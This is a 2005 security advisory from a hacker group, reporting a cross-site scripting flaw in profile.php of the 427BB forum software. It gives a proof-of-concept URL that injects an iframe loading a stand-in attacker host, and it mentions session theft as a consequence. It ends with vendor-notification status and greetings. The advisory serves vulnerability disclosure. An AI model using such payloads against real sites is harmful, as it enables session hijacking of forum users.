HRG007.txt

`  
  
[][][][][][][][][][][][][][][][][][][][][][][][][][]  
[][][]   
[]   
[] HRG - Hackerlounge Research Group   
[] Release: HRG007   
[] Monday 03/01/05   
[] 427BB   
[]   
[] The author can't be held responsible for any   
damage   
[] done by a reader. You have your own resonsibility   
[] Please use this document like it's meant to.   
[]   
[][][][][][][][][][][][][][][][][][][][][][][][][][]  
[][][]   
  
Vulnerable: 427BB (Any Version)   
  
  
---   
  
General Information:   
  
427BB Is a simple board and I have no idea why I'm   
releasing this because Its Very unpopular But I said   
What the hell. Its based on PHP And MySQL   
  
---   
  
Description:   
  
In profile.php there is a user var that is   
vulnerable to a XSS attack by a remote attacker. The   
user string isn't filtered of < > or ". This makes is   
very easy for a attacker to steal a session and many   
other things.   
  
---   
  
PoC Code   
Place the following code into the the url then   
reload the profile page and it will execute this   
code.   
  
profile.php?user=%3Ciframe%20src=http://www.evilhost.com%20height=1%20width=1%3E%3C/iframe%3E   
  
This is very unsafe and vuln because you can execute   
any code you would like and can lead to manger damage   
of the forum you are attacking.   
  
---   
  
Fix and Vendor status:   
  
Vendor has been notified, expect official patch soon.   
  
---   
  
Greetz:   
  
All the people at hackerlounge.com, JWT,   
TGS-Security.com and JWT-Security.net.   
Specifically:   
  
Th3_R@v3n (me), Dlab, Riddick, Enjoi, Blademaster,   
Modzilla, Pingu, Jake Johnson, Afterburn, airo,   
cardiaC, chis, ComputerGeek, deep_phreeze, dudley,   
evasion, eXtacy, Mattewan, Afterburn,   
Thanatos_Starfire, Roz, Sirross, UmInAsHoE, Infinite,   
Slarty, NoUse, Snake (I hate you), Surreal (I hate   
you), -=Vanguard=-, The_IRS, puNKiey, driedice,   
Carnuss, oKiDaN, Mr.Mind, dementis, net-RIDER,   
voteforpedro, Cryptic_Override, kodaxx,   
~CreEpy~NoDquE~, Brainscan, the_exode,   
phillysteak12345, DerrtyJake, =>HeX<=, m0rk, and   
anyone else I forgot.   
  
  
---   
  
Credit:   
  
HRG - Hackerlounge Research Group   
http://www.Hackerlounge.com   
  
Partial credit is also given to   
lancastertechnologies.org, founded by JWT.   
  
  
[][][][][][][][][][][][][][][][][][][][][][][][][][]  
[][][]   
[]   
[] HRG - Hackerlounge Research Group   
[] Release: HRG007   
[] Monday 03/01/05   
[] 427BB   
[]   
[] The author can't be held responsible for any   
damage   
[] done by a reader. You have your own resonsibility   
[] Please use this document like it's meant to.   
[]   
[][][][][][][][][][][][][][][][][][][][][][][][][][]  
[][][]   
`